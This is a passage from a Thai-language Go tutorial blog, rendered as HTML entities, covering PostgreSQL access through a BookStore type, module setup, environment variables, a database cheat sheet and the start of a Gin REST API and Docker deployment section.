// Close &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; BookStore &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
func (bs *BookStore) Close() error {
    return bs.db.Close()
}</code></pre><figcaption>bookstore.go</figcaption></figure><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x2514;&#x2500;&#x2500; internal
    &#x251C;&#x2500;&#x2500; bookstore
    &#x2502;   &#x2514;&#x2500;&#x2500; bookstore.go
    &#x2514;&#x2500;&#x2500; config
        &#x2514;&#x2500;&#x2500; config.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/lib/pq&quot;</p><pre><code>go get github.com/lib/pq</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/spf13/viper&quot;</p><pre><code>go get github.com/spf13/viper</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>export POSTGRES_HOST=localhost
export POSTGRES_PORT=5432
export POSTGRES_USER=bookstore_user
export POSTGRES_PASSWORD=your_strong_password
export POSTGRES_DB=bookstore
export POSTGRES_SSLMODE=disable</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE1A;&#xE19; Unix/Linux</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>set POSTGRES_HOST=localhost
set POSTGRES_PORT=5432
set POSTGRES_USER=bookstore_user
set POSTGRES_PASSWORD=your_strong_password
set POSTGRES_DB=bookstore
set POSTGRES_SSLMODE=disable</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE1A;&#xE19; Windows</figcaption></figure><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE49;&#xE27;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-24-at-13.03.07.png" class="kg-image" alt loading="lazy" width="2000" height="1365" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-24-at-13.03.07.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-24-at-13.03.07.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-24-at-13.03.07.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-24-at-13.03.07.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise-1"><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></h3><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Program &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; books &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Field &quot;id&quot; &#xE41;&#xE25;&#xE30; &quot;title&quot;</p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method &quot;AddBook()&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE25;&#xE07;&#xE43;&#xE19; Database &#xE41;&#xE25;&#xE30; Method &quot;GetAllBooks()&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE23;&#xE32;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01; Database</p><p>&#xE43;&#xE19; Function &quot;main()&quot; &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; 2-3 &#xE40;&#xE25;&#xE48;&#xE21; &#xE41;&#xE25;&#xE49;&#xE27;&#xE14;&#xE36;&#xE07;&#xE23;&#xE32;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE08;&#xE32;&#xE01; Database &#xE21;&#xE32;&#xE41;&#xE2A;&#xE14;&#xE07;</p><p><em><a href="https://forms.gle/uSAFNVsH9bDyfnsA8?ref=blog.pjjop.org"><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em>1</em>7</a><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em>20<em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A-database-%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99"><em><em><em><em><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em></em></em></em></em></em></em></em><strong><strong><em>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</em></strong></strong></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;
--------------------------
1 &#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database
	- sql.Open(&quot;postgres&quot;, connStr) // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
	- db.Ping() // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
	- defer db.Close() // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;

2. &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Connection Pool
	- db.SetMaxOpenConns(n)
	- db.SetMaxIdleConns(n)
	- db.SetConnMaxLifetime(duration)

3. &#xE01;&#xE32;&#xE23; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
	- db.QueryContext(ctx, query, args...) // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; SELECT &#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE16;&#xE27;
	- db.QueryRowContext(ctx, query, args...) // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; SELECT &#xE41;&#xE16;&#xE27;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;
	- rows.Scan(&amp;var1, &amp;var2, ...) // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; rows

4. &#xE01;&#xE32;&#xE23; Execute &#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;
	- db.ExecContext(ctx, query, args...) // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; INSERT, UPDATE, DELETE
	- result.RowsAffected() // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE39;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE41;&#xE16;&#xE27;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;

5. Prepared Statement
	- stmt, err := db.PrepareContext(ctx, query)
	- defer stmt.Close()
	- stmt.ExecContext(ctx, args...)
	- stmt.QueryContext(ctx, args...)

6. Error Handling
	- if err == sql.ErrNoRows // {} &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE23;&#xE13;&#xE35;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
	- &#xE43;&#xE0A;&#xE49; errors.Is() // &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE0A;&#xE47;&#xE04; Specific Error

7. Best Practice
	- &#xE43;&#xE0A;&#xE49; Prepared Statement &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; SQL Injection
	- &#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21; Timeout
	- &#xE1B;&#xE34;&#xE14; rows &#xE41;&#xE25;&#xE30; statements &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9E%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-rest-api-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-go-%E0%B9%81%E0%B8%A5%E0%B8%B0-docker-container"><strong><strong><strong><strong><strong>&#xE01;&#xE32;&#xE23;</strong></strong></strong></strong></strong>&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container</h2><p>&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE32;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2A;&#xE48;&#xE27;&#xE19; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; Dependency Injection &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE41;&#xE25;&#xE30; Goroutine &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE41;&#xE1A;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE46; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go   
&#x251C;&#x2500;&#x2500; internal
&#x2502;   &#x251C;&#x2500;&#x2500; bookstore
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; bookstore.go
&#x2502;   &#x251C;&#x2500;&#x2500; config
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; config.go
&#x2502;   &#x2514;&#x2500;&#x2500; handlers
&#x2502;       &#x2514;&#x2500;&#x2500; book_handlers.go
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x251C;&#x2500;&#x2500; Dockerfile
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; go.sum</code></pre><p><strong>cmd/</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Folder &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; File &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Application</p><ul><li><strong>cmd/main.go</strong> &#xE04;&#xE37;&#xE2D; File &#xE2B;&#xE25;&#xE31;&#xE01;&#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19; Application &#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19; &#xE17;&#xE31;&#xE49;&#xE07; Web Server &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database</li></ul><p><strong>internal/</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Folder &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Project &#xE19;&#xE35;&#xE49; &#xE43;&#xE19; internal &#xE08;&#xE30;&#xE21;&#xE35; Folder &#xE2D;&#xE35;&#xE01; 3 Folder &#xE04;&#xE37;&#xE2D; bookstore/, config/ &#xE41;&#xE25;&#xE30; handlers/</p><ul><li>internal/bookstore/<strong>bookstore.go</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Core Business Logic &#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE21;&#xE35; Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; &#xE25;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</li><li>internal/config/<strong>config.go</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; Application &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Environment Variable</li><li>internal/handlers/<strong>book_handlers.go</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP Request &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; HTTP Request &#xE41;&#xE25;&#xE30; Business Logic &#xE43;&#xE19; bookstore.go</li></ul><p><strong>.env</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Environment Variable &#xE40;&#xE0A;&#xE48;&#xE19; App Port &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Database</p><p><strong>.gitignore</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE1A;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; Git &#xE40;&#xE1E;&#xE34;&#xE01;&#xE40;&#xE09;&#xE22; &#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE19;&#xE33;&#xE40;&#xE02;&#xE49;&#xE32; Codebase</p><p><strong>Dockerfile</strong> &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Docker Image</p><p><strong>docker-compose.yml </strong>&#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Config &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Container</p><p><strong>go.mod</strong> &#xE41;&#xE25;&#xE30; <strong>go.sum</strong> &#xE04;&#xE37;&#xE2D; File &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Dependency &#xE02;&#xE2D;&#xE07; Go</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Database &#xE42;&#xE14;&#xE22;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Endpoint &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP Request &#xE41;&#xE25;&#xE30;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Business Logic &#xE43;&#xE19; bookstore.go &#xE08;&#xE32;&#xE01;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;</p><p><strong>API Endpoint</strong><br><strong>Get Book</strong></p><ul><li>Method <strong>GET</strong></li><li>Path <strong>/api/v1/books/:id</strong></li><li>Description &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;</li></ul><p><strong>Add Book</strong></p><ul><li>Method <strong>POST</strong></li><li>Path <strong>/api/v1/books</strong></li><li>Description &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;</li></ul><p><strong>Delete Book</strong></p><ul><li>Method <strong>DELETE</strong></li><li>Path <strong>/api/v1/books/:id</strong></li><li>Description &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE15;&#xE32;&#xE21; ID &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;</li></ul><p><strong>Health Check</strong></p><ul><li>Method <strong>GET</strong></li><li>Path <strong>/health</strong></li><li>Description &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30; Database Connection</li></ul><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; &#xE25;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; &#xA0;Core Business Logic &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; <strong>Health Check Endpoint</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30; Database Connection &#xE2D;&#xE35;&#xE01;&#xE14;&#xE49;&#xE27;&#xE22;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Gin Framework &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; REST API &#xE42;&#xE14;&#xE22;&#xE23;&#xE27;&#xE1A;&#xE23;&#xE27;&#xE21; Handler Function &#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Package &quot;handlers&quot;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE22;&#xE01;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; BookHandlers (&#xE43;&#xE19; Package &quot;handlers&quot;) &#xE41;&#xE25;&#xE30; BookStore (&#xE43;&#xE19; Package &quot;bookstore&quot;) &#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49; BookHandlers &#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP Request &#xE41;&#xE25;&#xE30; Response &#xE2A;&#xE48;&#xE27;&#xE19; BookStore &#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Business Logic &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Mock &#xE02;&#xE2D;&#xE07; BookStore 